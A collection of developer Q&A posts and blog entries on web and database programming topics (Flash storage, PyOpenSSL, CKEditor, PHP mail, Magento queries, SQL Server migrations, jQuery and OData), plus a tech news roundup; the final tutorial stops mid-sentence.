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• choosing an image locally from http url and serving that image without a server round trip

  - by serverman

  Hi folks I am a complete novice to Flash (never created anything in flash). I am quite familiar with web applications (J2EE based) and have a reasonable expertise in Javascript. Here is my requirement. I want the user to select (via an html form) an image. Normally in the post, this image would be sent to server and may be stored there to be served later. I do not want that. I want to store this image locally and then serve it via HTTP to the user. So, the flow is: 1. Go to the "select image url":mywebsite.com/selectImage Browse the image and select the image This would transfer control locally to some code running on the client (Javascript or flash), which would then store the image locally at some place on the client machine. Go to the "show image url": mywebsite.com/showImage This would eventually result in some client code running on the browser that retrieves the image and renders it (without any server round trips.) I considered the following options: Use HTML5 local storage. Since I am a complete novice to flash, I looked into this. I found that it is fairly straightforward to store and retrieve images in javascript (only strings are allowed but I am hoping storing base64 encoded strings would work at least for small images). However, how do I serve the image via http url that points to my server without a server round trip? I saw the interesting article at http://hacks.mozilla.org/category/fileapi/ but that would work only in firefox and I need to work on all latest browsers (at least the ones supporting HTML5 local storage) Use flash SharedObjects. OK, this would have been good - the only thing is I am not sure where to start. Snippets of actionscripts to do this are scattered everywhere but I do not know how to use those scripts in an actual html page:) I do not need to create any movies or anything - just need to store an image and serve it locally. If I go this route, I would also use it to store other "strings" locally. If you suggest this, please give me the exact steps (could be pointers to other web sites) on how to do this. I would like to avoid paying for any flash development environment software ideally:) Thank you!

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• How do I create a safe local development environment?

  - by docgnome

  I'm currently doing web development with another developer on a centralized development server. In the past this has worked alright, as we have two separate projects we are working on and rarely conflict. Now, however, we are adding a third (possible) developer into the mix. This is clearly going to create problems with other developers changes affecting my work and vice versa. To solve this problem, I'm thinking the best solution would be to create a virtual machine to distribute between the developers for local use. The problem I have is when it comes to the database. Given that we all develop on laptops, simply keeping a local copy of the live data is plain stupid. I've considered sanitizing the data, but I can't really figure out how to replace the real data, with data that would be representative of what people actually enter with out repeating the same information over and over again, e.g. everyone's address becomes 123 Testing Lane, Test Town, WA, 99999 or something. Is this really something to be concerned about? Are there tools to help with this sort of thing? I'm using MySQL. Ideally, if I sanitized the db it should be done from a script that I can run regularly. If I do this I'd also need a way to reduce the size of the db itself. (I figure I could select all the records created after x and whack them and all the records in corresponding tables out so that isn't really a big deal.) The second solution I've thought of is to encrypt the hard drive of the vm, but I'm unsure of how practical this is in terms of speed and also in the event of a lost/stolen laptop. If I do this, should the vm hard drive file itself be encrypted or should it be encrypted in the vm? (I'm assuming the latter as it would be portable and doesn't require the devs to have any sort of encryption capability on their OS of choice.) The third is to create a copy of the database for each developer on our development server that they are then responsible to keep the schema in sync with the canonical db by means of migration scripts or what have you. This solution seems to be the simplest but doesn't really scale as more developers are added. How do you deal with this problem?

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• What do I need to distribute (keys, certs) for Python w/ SSL-socket connection?

  - by fandingo

  I'm trying to write a generic server-client application that will be able to exchange data amongst servers. I've read over quite a few OpenSSL documents, and I have successfully setup my own CA and created a cert (and private key) for testing purposes. I'm stuck with Python 2.3, so I can't use the standard "ssl" library. Instead, I'm stuck with PyOpenSSL, which doesn't seem bad, but there aren't many documents out there about it. My question isn't really about getting it working. I'm more confused about the certificates and where they need to go. Here are my two programs that do work: Server: #!/bin/env python from OpenSSL import SSL import socket import pickle def verify_cb(conn, cert, errnum, depth, ok): print('Got cert: %s' % cert.get_subject()) return ok ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_verify(SSL.VERIFY_PEER|SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_cb) # ?????? ctx.use_privatekey_file('./Dmgr-key.pem') ctx.use_certificate_file('Dmgr-cert.pem') # ?????? ctx.load_verify_locations('./CAcert.pem') server = SSL.Connection(ctx, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) server.bind(('', 50000)) server.listen(3) a, b = server.accept() c = a.recv(1024) print(c) Client: from OpenSSL import SSL import socket import pickle def verify_cb(conn, cert, errnum, depth, ok): print('Got cert: %s' % cert.get_subject()) return ok ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_verify(SSL.VERIFY_PEER, verify_cb) # ?????????? ctx.use_privatekey_file('/home/justin/code/work/CA/private/Dmgr-key.pem') ctx.use_certificate_file('/home/justin/code/work/CA/Dmgr-cert.pem') # ????????? ctx.load_verify_locations('/home/justin/code/work/CA/CAcert.pem') sock = SSL.Connection(ctx, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) sock.connect(('10.0.0.3', 50000)) a = Tester(2, 2) b = pickle.dumps(a) sock.send("Hello, world") sock.flush() sock.send(b) sock.shutdown() sock.close() I found this information from ftp://ftp.pbone.net/mirror/ftp.pld-linux.org/dists/2.0/PLD/i586/PLD/RPMS/python-pyOpenSSL-examples-0.6-2.i586.rpm which contains some example scripts. As you might gather, I don't fully understand the sections between the " # ????????." I don't get why the certificate and private key are needed on both the client and server. I'm not sure where each should go, but shouldn't I only need to distribute one part of the key (probably the public part)? It undermines the purpose of having asymmetric keys if you still need both on each server, right? I tried alternating removing either the pkey or cert on either box, and I get the following error no matter which I remove: OpenSSL.SSL.Error: [('SSL routines', 'SSL3_READ_BYTES', 'sslv3 alert handshake failure'), ('SSL routines', 'SSL3_WRITE_BYTES', 'ssl handshake failure')] Could someone explain if this is the expected behavior for SSL. Do I really need to distribute the private key and public cert to all my clients? I'm trying to avoid any huge security problems, and leaking private keys would tend to be a big one... Thanks for the help!

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• Lift session valid ajax callback from a static javascript

  - by ChrisJamesC

  I am currently implementing a graph visualisation tool using lift on the server side and d3 ( a javascript visualisation framework) for all the visualisation. The problem I have is that in the script I want to get session dependent data from the server. So basically, my objective is to write lift-valid ajax callbacks in a static js script. Here is what I tried so far: What I have tried so far If you feel that the best solution is one that I already tried feel free to post a detailed answer telling me how to use it exactly and how it completely solves my problem. REST interface Usually what one would do to get data from a javascript function in lift is to create a REST interface. However this interface will not be linked to any session. This is the solution I got from my previous question: Get json data in d3 from lift snippet Give function as argument of script Another solution would be to give the ajaxcallback as an argument of the main script called to generate my graph. However I expect to have a lot of callbacks and I don't want to have to mess with the arguments of my script. Write the ajax callback in another script using lift and call it from the main script This solution, which is similar to a hidden text input is probably the more likely to work. However it is not elegant and it would mean that I would have to load a lot of scripts on load, which is not really conveniant. Write the whole script in lift and then serve it to the client This solution can be elegant, however my script is very long and I would really prefer that it remainss static. What I want On client side While reviewing the source code of my webpage I found that the callback for an ajaxSelect is: <select onchange="liftAjax.lift_ajaxHandler('F966066257023LYKF4=' + encodeURIComponent(this.value), null, null, null)" name="F96606625703QXTSWU" id="node_delete" class="input"> Moreover, there is a variable containing the state of the page in the end of the webpage: var lift_page = "F96606625700QRXLDO"; So, I am wondering if it is possible to simulate that my ajaxcall is valid using this liftAjax.lift_ajaxHandler function. However I don't know the exact synthax to use. On server side Since I "forged" a request on client side, I would now like to get the request on client side and to dispatch it to the correct function. This is where the LiftRules.dispatch object seems the best solution: when it is called, all the session management has been made (the request is authentified and linked to a session), however I don't know how to write the correct piece of code in the append function. Remark In lift all names of variables are changed to a random string in order to increase the security, I would like to have the same behavior in my application even if that will probably mean that I will have to "give" the javascript these values. However an array of 15 string values is still a better tradeoff than 15 functions as argument of a javascript function.

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• CKEdtior not displaying

  - by user1708468

  I am trying to integrate CKEditor into a MVC application. As far as I can tell all I should really have to do is. Add the following to my master page. <script type="text/javascript" src="../../ckeditor/ckeditor.js"></script> <script type="text/javascript" src="../../ckeditor/adapters/jquery.js"></script> <script type="text/jscript" src="../../Scripts/jquery-1.3.2.js"></script> Then on my view itself. I have the following code: <script type="text/javascript"> $(document).ready(function() { $('#news').ckeditor(); }); </script> <fieldset> <legend>Fields</legend> <p> <label for="title">Title:</label> <%=Html.TextBox("title")%> <%= Html.ValidationMessage("title", "*") %> </p> <p> <label for="news">News:</label> <%=Html.TextArea("news")%> <%= Html.ValidationMessage("news", "*") %> </p> <p> <label for="publishedDate">Publication Date:</label> <%= Html.TextBox("publishedDate") %> <%= Html.ValidationMessage("publishedDate", "*") %> </p> <p> <input type="submit" value="Create" /> </p> </fieldset> Please bear in mind I am not trying to get this to actually DO anything postback wise. Just to actually render in the first place. Can someone point out exactly what it is I am doing wrong? Oh and if it helps any VS is also giving me the following warning: Warning 1 Error updating JScript IntelliSense: ..Cut to Protect the innocent..\ckeditor\ckeditor.js: 'getFirst()' is null or not an object @ 15:180 ..Cut to Protect the innocent..\Views\Shared\Admin.Master 1 1 ilaTraining

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• Contact form with php-script does not work

  - by elajjas

  I'm new to the forum and I have been trying to find a thread that could be helpful but nothing have been working out so far. I recently uploaded my site via FTP, and it works fine. Except for one thing, my contact form. The contact form is crucial and it is almost the whole point of the website. I don't get any emails "from the form", either in my spam-folder or inbox. Please have a look at the website which is: http://www.adspot.se The contact form is situated on: http://www.adspot.se/contact.html The php script looks like this: <?php if (isset($_REQUEST['email'])) //if "email" is filled out, send email { //send email $name = $_REQUEST['name'] ; $email = $_REQUEST['email'] ; $message = $_REQUEST['message'] ; mail("[email protected]", $name, $message, "From:" . $email); } ?> I've already tried different types of php-scripts, but it still doesn't seem to work. UPDATE: Changed the form code to: <form method="POST" action="email.php"> <div class="row half"> <div class="6u"> <input name="name" placeholder="Name" type="text" class="text" /> </div> <div class="6u"> <input name="email" placeholder="Email" type="text" class="text" /> </div> </div> <div class="row half"> <div class="12u"> <textarea name="message" placeholder="Message"></textarea> </div> </div> <div class="row half"> <div class="12u"> <ul class="action"> <input type="submit" class="action"> </ul> </div> </div> </form> Now it redirects me to www.adspot.se/email.php but still no emails received...

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• iOs receivedData from NSURLConnection is nil

  - by yhl

  I was wondering if anyone could point out why I'm not able to capture a web reply. My NSLog shows that my [NSMutableData receivedData] has a length of 0 the entire run of the connection. The script that I hit when I click my login button returns a string. My NSLog result is pasted below, and after that I've pasted both the .h and .m files that I have. NSLog Result 2012-11-28 23:35:22.083 [12548:c07] Clicked on button_login 2012-11-28 23:35:22.090 [12548:c07] theConnection is succesful 2012-11-28 23:35:22.289 [12548:c07] didReceiveResponse 2012-11-28 23:35:22.290 [12548:c07] didReceiveData 2012-11-28 23:35:22.290 [12548:c07] 0 2012-11-28 23:35:22.290 [12548:c07] connectionDidFinishLoading 2012-11-28 23:35:22.290 [12548:c07] 0 ViewController.h #import <UIKit/UIKit.h> @interface ViewController : UIViewController // Create an Action for the button. - (IBAction)button_login:(id)sender; // Add property declaration. @property (nonatomic,assign) NSMutableData *receivedData; @end ViewController.m #import ViewController.h @interface ViewController () @end @implementation ViewController @synthesize receivedData; - (void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response { NSLog(@"didReceiveResponse"); [receivedData setLength:0]; } - (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data { NSLog(@"didReceiveData"); [receivedData appendData:data]; NSLog(@"%d",[receivedData length]); } - (void)connectionDidFinishLoading:(NSURLConnection *)connection { NSLog(@"connectionDidFinishLoading"); NSLog(@"%d",[receivedData length]); } - (IBAction)button_login:(id)sender { NSLog(@"Clicked on button_login"); NSString *loginScriptURL = [NSString stringWithFormat:@"http://www.website.com/app/scripts/login.php?"]; NSMutableURLRequest *theRequest = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:loginScriptURL]]; NSString *postString = [NSString stringWithFormat:@"&paramUsername=user&paramPassword=pass"]; NSData *postData = [postString dataUsingEncoding:NSASCIIStringEncoding allowLossyConversion:YES]; [theRequest setHTTPMethod:@"POST"]; [theRequest setHTTPBody:postData]; // Create the actual connection using the request. NSURLConnection *theConnection = [[NSURLConnection alloc] initWithRequest:theRequest delegate:self]; // Capture the response if (theConnection) { NSLog(@"theConnection is succesful"); } else { NSLog(@"theConnection failed"); } } @end

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• JQuery not copying state dropdown list 1 to DDL2 on checkbox change

  - by user1001411

  I've looked at similar posts on the subject but none of the recommended solutions have worked for me so I'm not sure where I'm going wrong. I have a billing and shipping address form with a dropdown list for the state. Upon checking/unchecking the "billing address same as shipping" everything copies over except the state dropdown list. The state dropdown list is populated from a SQLDataSource state table. Here's my code: <script type="text/javascript" language="javascript" src="../Scripts/jquery-1.4.1.min.js"></script> <script type="text/javascript"> $(document).ready(function () { $('input:checkbox[id*=chkCopy]').change(function () { if ($(this).is(':checked')) { $('input:text[id*=TextBox5]').val($('input:text[id*=TextBox1]').val()); $('input:text[id*=TextBox7]').val($('input:text[id*=TextBox2]').val()); $('input:text[id*=TextBox9]').val($('input:text[id*=TextBox3]').val()); $('input:text[id*=TextBox12]').val($('input:text[id*=TextBox4]').val()); $('select#DropDownList6').val($("select#DropDownList1").val()); $('input:text[id*=TextBox14]').val($('input:text[id*=TextBox6]').val()); } else { $('input:text[id*=TextBox5]').val(''); $('input:text[id*=TextBox7]').val(''); $('input:text[id*=TextBox9]').val(''); $('input:text[id*=TextBox12]').val(''); $('select#DropDownList6').val(''); $('input:text[id*=TextBox14]').val(''); } }); }); and here is my SQL for the DDL: <asp:DropDownList ID="DropDownList1" runat="server" DataTextField="Descr" DataValueField="ID" DataSourceID="SqlDataSource1" Width="254"> </asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ASPNETDBConnectionString1 %>" SelectCommand="SELECT * FROM [xrefState]"> </asp:SqlDataSource> the other one: <asp:DropDownList ID="DropDownList6" runat="server" DataTextField="Descr" DataValueField="ID" DataSourceID="SqlDataSource5" Width="254"> </asp:DropDownList> <asp:SqlDataSource ID="SqlDataSource5" runat="server" ConnectionString="<%$ ConnectionStrings:ASPNETDBConnectionString1 %>" SelectCommand="SELECT * FROM [xrefState]"> </asp:SqlDataSource>

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• Jquery ajax using asp.net does not work on IE9 during the 2nd call of the function?

  - by randelramirez1

  I have gridview that is loaded from another aspx page after an ajax call, the problem is it works on chrome/firefox/safari but using ie9 the ajax call would work fine during the first call but when i try to call the function again it throws an 304 status on the network tab of ie9 dev tool and the gridview is not refreshed. Here is the jquery code: <%@ Page Language="C#" AutoEventWireup="true" CodeFile="LoadCoursesGridViewHere.aspx.cs" Inherits="CoursesGridView" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <script src="Scripts/jquery-1.8.2.js" type="text/javascript"></script> </head> <body> <form id="form1" runat="server"> <div id="Gridview-container"> <asp:GridView ID="GridView1" runat="server"> </asp:GridView> </div> <asp:TextBox ID="TextBox1" runat="server" ViewStateMode="Disabled"></asp:TextBox> <%-- <asp:Button Text="text" ID="btn" OnClientClick=" __doPostBack('UpdatePanel1', '')" runat="server" />--%> <input type="button" id="btn" value="insert"/> </form> <script type="text/javascript"> $("#btn").click(function () { var a = $("#TextBox1").val(); $.ajax({ url: 'WebService.asmx/insert', data: "{ 'name': '" + a + "' }", contentType: "application/json; charset=utf-8", type: "POST", success: function () { // alert('insert was performed.'); $("#Gridview-container").empty(); $("#Gridview-container").load("GridViewCourses.aspx #GridView1"); } }); }); </script> </body> </html> What happen is that after click the button it will insert the textbox value in the database through the webservice 'insert' and then reload the gridview that is placed inside a different aspx page. The problem is that when I ran it on IE9 during the 1st insert everything works properly but the succeeding inserts does reload the gridview and I noticed that it says '304' on the network tab of ie9 dev tool.

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• Magento - How to select mysql rows by max value?

  - by Damodar Bashyal

  mysql> SELECT * FROM `log_customer` WHERE `customer_id` = 224 LIMIT 0, 30; +--------+------------+-------------+---------------------+-----------+----------+ | log_id | visitor_id | customer_id | login_at | logout_at | store_id | +--------+------------+-------------+---------------------+-----------+----------+ | 817 | 50139 | 224 | 2011-03-21 23:56:56 | NULL | 1 | | 830 | 52317 | 224 | 2011-03-27 23:43:54 | NULL | 1 | | 1371 | 136549 | 224 | 2011-11-16 04:33:51 | NULL | 1 | | 1495 | 164024 | 224 | 2012-02-08 01:05:48 | NULL | 1 | | 2130 | 281854 | 224 | 2012-11-13 23:44:13 | NULL | 1 | +--------+------------+-------------+---------------------+-----------+----------+ 5 rows in set (0.00 sec) mysql> SELECT * FROM `customer_entity` WHERE `entity_id` = 224; +-----------+----------------+---------------------------+----------+---------------------+---------------------+ | entity_id | entity_type_id | email | group_id | created_at | updated_at | +-----------+----------------+---------------------------+----------+---------------------+---------------------+ | 224 | 1 | [email protected] | 3 | 2011-03-21 04:59:17 | 2012-11-13 23:46:23 | +-----------+----------------+---------------------------+----------+--------------+----------+-----------------+ 1 row in set (0.00 sec) How can i search for customers who hasn't logged in for last 10 months and their account has not been updated for last 10 months. I tried below but failed. $collection = Mage::getModel('customer/customer')->getCollection(); $collection->getSelect()->joinRight(array('l'=>'log_customer'), "customer_id=entity_id AND MAX(l.login_at) <= '" . date('Y-m-d H:i:s', strtotime('10 months ago')) . "'")->group('e.entity_id'); $collection->addAttributeToSelect('*'); $collection->addFieldToFilter('updated_at', array( 'lt' => date('Y-m-d H:i:s', strtotime('10 months ago')), 'datetime'=>true, )); $collection->addAttributeToFilter('group_id', array( 'neq' => 5, )); Above tables have one customer for reference. I have no idea how to use MAX() on joins. Thanks UPDATE: This seems returning correct data, but I would like to do magento way using resource collection, so i don't need to do load customer again on for loop. $read = Mage::getSingleton('core/resource')->getConnection('core_read'); $sql = "select * from ( select e.*,l.login_at from customer_entity as e left join log_customer as l on l.customer_id=e.entity_id group by e.entity_id order by l.login_at desc ) as l where ( l.login_at <= '".date('Y-m-d H:i:s', strtotime('10 months ago'))."' or ( l.created_at <= '".date('Y-m-d H:i:s', strtotime('10 months ago'))."' and l.login_at is NULL ) ) and group_id != 5"; $result = $read->fetchAll($sql); I have loaded full shell script to github https://github.com/dbashyal/Magento-ecommerce-Shell-Scripts/blob/master/shell/suspendCustomers.php

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• How to generate a script for changing a column of varchar to xml type with data being converted?

  - by user1323981

  Initially I have a column (partner_email) of varchar.Now a recent change has come where it needs to be changed to be changed to the XML type but the previous records needs to be reserve into the new column. I have applied the below algorithm to accomplish the work /*********************************************************************** Purpose: To change the partner_email column from Varchar Type To Xml Type and convert the existing records from varchar to xml types. Programmers Notes: 1. Create a new Column by the name partner_email_temp of type XML into the Partner Table 2. Copy the Email contents from partner_email to partner_email_temp column after proper conversion N.B.~ The format will be <PartnerEmails> <Email>[email protected]</Email> <Email /> <Email /> </PartnerEmails> 3. Drop the exisitng partner_email 4. Rename partner_email_temp column to partner_email ***********************************************************************/ USE [Test] GO --===== Create a partner_email_temp column of type xml into the Partner table IF NOT EXISTS ( SELECT * FROM INFORMATION_SCHEMA.columns WHERE table_name = 'Partner' AND column_name = 'partner_email_temp' ) BEGIN ALTER TABLE [dbo].[Partner] ADD partner_email_temp XML NULL END GO --===== Copy the Email contents from partner_email to partner_email_temp column -- after proper conversion to xml type UPDATE [dbo].[Partner] SET partner_email_temp = CAST('<PartnerEmails><Email>' + REPLACE(partner_email, '&', '&amp;') + '</Email><Email></Email><Email></Email></PartnerEmails>' AS XML) GO --===== Drop the exisitng partner_email ALTER TABLE [dbo].[Partner] DROP COLUMN partner_email GO --===== Rename partner_email_temp column to partner_email Exec sp_RENAME 'Partner.partner_email_temp','partner_email','COLUMN' GO I works fine for the first time I ran. Now if I ran it for the next time, it am getting an error Msg 8116, Level 16, State 1, Line 4 Argument data type xml is invalid for argument 1 of replace function. Caution: Changing any part of an object name could break scripts and stored procedures. The intention is that, if the partner_email column is varchar, the script will change it to xml type and will convert all the data in xml format . If I ran it second time, it should ignore the statement. How to achieve this? I am trying in a different way DECLARE @columnDataType VARCHAR(50) SELECT @columnDataType = DATA_TYPE FROM INFORMATION_SCHEMA.columns WHERE table_name = 'Partner' AND column_name = 'partner_email' print @columnDataType IF (@columnDataType = 'varchar') BEGIN --===== Create a partner_email_temp column of type xml into the Partner table IF NOT EXISTS ( SELECT * FROM INFORMATION_SCHEMA.columns WHERE table_name = 'Partner' AND column_name = 'partner_email_temp' ) BEGIN ALTER TABLE [dbo].[Partner] ADD partner_email_temp XML NULL --===== Copy the Email contents from partner_email to partner_email_temp column -- after proper conversion to xml type UPDATE [dbo].[Partner] SET partner_email_temp = CAST('<PartnerEmails><Email>' + REPLACE(partner_email, '&', '&amp;') + '</Email><Email></Email><Email></Email></PartnerEmails>' AS XML) --===== Drop the exisitng partner_email ALTER TABLE [dbo].[Partner] DROP COLUMN partner_email --===== Rename partner_email_temp column to partner_email EXEC sp_RENAME 'Partner.partner_email_temp','partner_email','COLUMN' END END but getting error Msg 207, Level 16, State 1, Line 29 Invalid column name 'partner_email_temp'. Help needed

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• Week in Geek: New Security Flaw Confirmed for Internet Explorer Edition

  - by Asian Angel

  This week we learned how to use a PC to stay entertained while traveling for the holidays, create quality photo prints with free software, share links between any browser and any smartphone, create perfect Christmas photos using How-To Geek’s 10 best how-to photo guides, and had fun decorating Firefox with a collection of Holiday 2010 Personas themes. Photo by Repoort. Random Geek Links Photo by Asian Angel. Critical 0-Day Flaw Affects All Internet Explorer Versions, Microsoft Warns Microsoft has confirmed a zero-day vulnerability affecting all supported versions of Internet Explorer, including IE8, IE7 and IE6. Note: Article contains link to Microsoft Security Advisory detailing two work-arounds until a security update is released. Hackers targeting human rights, indie media groups Hackers are increasingly hitting the Web sites of human rights and independent media groups in an attempt to silence them, says a new study released this week by Harvard University’s Berkman Center for Internet & Society. OpenBSD: audits give no indication of back doors So far, the analyses of OpenBSD’s crypto and IPSec code have not provided any indication that the system contains back doors for listening to encrypted VPN connections. But the developers have already found two bugs during their current audits. Sophos: Beware Facebook’s new facial-recognition feature Facebook’s new facial recognition software might result in undesirable photos of users being circulated online, warned a security expert, who urged users to keep abreast with the social network’s privacy settings to prevent the abovementioned scenario from becoming a reality. Microsoft withdraws flawed Outlook update Microsoft has withdrawn update KB2412171 for Outlook 2007, released last Patch Tuesday, after a number of user complaints. Skype: Millions still without service Skype was still working to right itself going into the holiday weekend from a major outage that began this past Wednesday. Mozilla improves sync setup and WebGL in Firefox 4 beta 8 Firefox 4.0 beta 8 brings better support for WebGL and introduces an improved setup process for Firefox Sync that simplifies the steps for configuring the synchronization service across multiple devices. Chrome OS the litmus test for cloud The success or failure of Google’s browser-oriented Chrome OS will be the litmus test to decide if the cloud is capable of addressing user needs for content and services, according to a new Ovum report released Monday. FCC Net neutrality rules reach mobile apps The Federal Communications Commission (FCC) finally released its long-expected regulations on Thursday and the related explanations total a whopping 194 pages. One new item that was not previously disclosed: mobile wireless providers can’t block “applications that compete with the provider’s” own voice or video telephony services. KDE and the Document Foundation join Open Invention Network The KDE e.V. and the Document Foundation (TDF) have both joined the Open Invention Network (OIN) as licensees, expanding the organization’s roster of supporters. Report: SEC looks into Hurd’s ousting from HP The scandal surrounding Mark Hurd’s departure from the world’s largest technology company in August has officially drawn attention from the U.S. Securities and Exchange Commission. Report: Google requests delay of new Google TVs Google TV is apparently encountering a bit of static that has resulted in a programming change. Geek Video of the Week This week we have a double dose of geeky video goodness for you with the original Mac vs PC video and the trailer for the sequel. Photo courtesy of Peacer. Mac vs PC Photo courtesy of Peacer. Mac vs PC 2 Trailer Random TinyHacker Links Awesome Tools To Extract Audio From Video Here’s a list of really useful, and free tools to rip audio from videos. Getting Your iPhone Out of Recovery Mode Is your iPhone stuck in recovery mode? This tutorial will help you get it out of that state. Google Shared Spaces Quickly create a shared space and collaborate with friends online. McAfee Internet Security 2011 – Upgrade not worthy of a version change McAfee has released their 2011 version of security products. And as this review details, the upgrades are minimal when compared to their 2010 products. For more information, check out the review. 200 Countries Plotted Hans Rosling’s famous lectures combine enormous quantities of public data with a sport’s commentator’s style to reveal the story of the world’s past, present and future development. Now he explores stats in a way he has never done before – using augmented reality animation. Super User Questions Enjoy looking through this week’s batch of popular questions and answers from Super User. How to restore windows 7 to a known working state every time it boots? Is there an easy way to mass-transfer all files between two computers? Coffee spilled inside computer, damaged hard drive Computer does not boot after ram upgrade Keyboard not detected when trying to install Ubuntu 10.10 How-To Geek Weekly Article Recap Have you had a super busy week while preparing for the holiday weekend? Then here is your chance to get caught up on your reading with our five hottest articles for the week. Ask How-To Geek: Rescuing an Infected PC, Installing Bloat-free iTunes, and Taming a Crazy Trackpad How to Use the Avira Rescue CD to Clean Your Infected PC Eight Geektacular Christmas Projects for Your Day Off VirtualBox 4.0 Rocks Extensions and a Simplified GUI Ask the Readers: How Many Monitors Do You Use with Your Computer? One Year Ago on How-To Geek Here are more great articles from one year ago for you to read and enjoy during the holiday break. Enjoy Distraction-Free Writing with WriteMonkey Shutter is a State of Art Screenshot Tool for Ubuntu Get Hex & RGB Color Codes the Easy Way Find User Scripts for Your Favorite Websites the Easy Way Access Your Unsorted Bookmarks the Easy Way (Firefox) The Geek Note That “wraps” things up for this week and we hope that everyone enjoys the rest of their holiday break! Found a great tip during the break? Then be sure to send it in to us at [email protected]. Photo by ArSiSa7. Latest Features How-To Geek ETC How to Use the Avira Rescue CD to Clean Your Infected PC The Complete List of iPad Tips, Tricks, and Tutorials Is Your Desktop Printer More Expensive Than Printing Services? 20 OS X Keyboard Shortcuts You Might Not Know HTG Explains: Which Linux File System Should You Choose? HTG Explains: Why Does Photo Paper Improve Print Quality? Simon’s Cat Explores the Christmas Tree! [Video] The Outdoor Lights Scene from National Lampoon’s Christmas Vacation [Video] The Famous Home Alone Pizza Delivery Scene [Classic Video] Chronicles of Narnia: The Voyage of the Dawn Treader Theme for Windows 7 Cardinal and Rabbit Sharing a Tree on a Cold Winter Morning Wallpaper An Alternate Star Wars Christmas Special [Video]

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• Using jQuery and OData to Insert a Database Record

  - by Stephen Walther

  In my previous blog entry, I explored two ways of inserting a database record using jQuery. We added a new Movie to the Movie database table by using a generic handler and by using a WCF service. In this blog entry, I want to take a brief look at how you can insert a database record using OData. Introduction to OData The Open Data Protocol (OData) was developed by Microsoft to be an open standard for communicating data across the Internet. Because the protocol is compatible with standards such as REST and JSON, the protocol is particularly well suited for Ajax. OData has undergone several name changes. It was previously referred to as Astoria and ADO.NET Data Services. OData is used by Sharepoint Server 2010, Azure Storage Services, Excel 2010, SQL Server 2008, and project code name “Dallas.” Because OData is being adopted as the public interface of so many important Microsoft technologies, it is a good protocol to learn. You can learn more about OData by visiting the following websites: http://www.odata.org http://msdn.microsoft.com/en-us/data/bb931106.aspx When using the .NET framework, you can easily expose database data through the OData protocol by creating a WCF Data Service. In this blog entry, I will create a WCF Data Service that exposes the Movie database table. Create the Database and Data Model The MoviesDB database is a simple database that contains the following Movies table: You need to create a data model to represent the MoviesDB database. In this blog entry, I use the ADO.NET Entity Framework to create my data model. However, WCF Data Services and OData are not tied to any particular OR/M framework such as the ADO.NET Entity Framework. For details on creating the Entity Framework data model for the MoviesDB database, see the previous blog entry. Create a WCF Data Service You create a new WCF Service by selecting the menu option Project, Add New Item and selecting the WCF Data Service item template (see Figure 1). Name the new WCF Data Service MovieService.svc. Figure 1 – Adding a WCF Data Service Listing 1 contains the default code that you get when you create a new WCF Data Service. There are two things that you need to modify. Listing 1 – New WCF Data Service File using System; using System.Collections.Generic; using System.Data.Services; using System.Data.Services.Common; using System.Linq; using System.ServiceModel.Web; using System.Web; namespace WebApplication1 { public class MovieService : DataService< /* TODO: put your data source class name here */ > { // This method is called only once to initialize service-wide policies. public static void InitializeService(DataServiceConfiguration config) { // TODO: set rules to indicate which entity sets and service operations are visible, updatable, etc. // Examples: // config.SetEntitySetAccessRule("MyEntityset", EntitySetRights.AllRead); // config.SetServiceOperationAccessRule("MyServiceOperation", ServiceOperationRights.All); config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2; } } } First, you need to replace the comment /* TODO: put your data source class name here */ with a class that represents the data that you want to expose from the service. In our case, we need to replace the comment with a reference to the MoviesDBEntities class generated by the Entity Framework. Next, you need to configure the security for the WCF Data Service. By default, you cannot query or modify the movie data. We need to update the Entity Set Access Rule to enable us to insert a new database record. The updated MovieService.svc is contained in Listing 2: Listing 2 – MovieService.svc using System.Data.Services; using System.Data.Services.Common; namespace WebApplication1 { public class MovieService : DataService<MoviesDBEntities> { public static void InitializeService(DataServiceConfiguration config) { config.SetEntitySetAccessRule("Movies", EntitySetRights.AllWrite); config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2; } } } That’s all we have to do. We can now insert a new Movie into the Movies database table by posting a new Movie to the following URL: /MovieService.svc/Movies The request must be a POST request. The Movie must be represented as JSON. Using jQuery with OData The HTML page in Listing 3 illustrates how you can use jQuery to insert a new Movie into the Movies database table using the OData protocol. Listing 3 – Default.htm <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>jQuery OData Insert</title> <script src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.js" type="text/javascript"></script> <script src="Scripts/json2.js" type="text/javascript"></script> </head> <body> <form> <label>Title:</label> <input id="title" /> <br /> <label>Director:</label> <input id="director" /> </form> <button id="btnAdd">Add Movie</button> <script type="text/javascript"> $("#btnAdd").click(function () { // Convert the form into an object var data = { Title: $("#title").val(), Director: $("#director").val() }; // JSONify the data var data = JSON.stringify(data); // Post it $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "MovieService.svc/Movies", data: data, dataType: "json", success: insertCallback }); }); function insertCallback(result) { // unwrap result var newMovie = result["d"]; // Show primary key alert("Movie added with primary key " + newMovie.Id); } </script> </body> </html> jQuery does not include a JSON serializer. Therefore, we need to include the JSON2 library to serialize the new Movie that we wish to create. The Movie is serialized by calling the JSON.stringify() method: var data = JSON.stringify(data); You can download the JSON2 library from the following website: http://www.json.org/js.html The jQuery ajax() method is called to insert the new Movie. Notice that both the contentType and dataType are set to use JSON. The jQuery ajax() method is used to perform a POST operation against the URL MovieService.svc/Movies. Because the POST payload contains a JSON representation of a new Movie, a new Movie is added to the database table of Movies. When the POST completes successfully, the insertCallback() method is called. The new 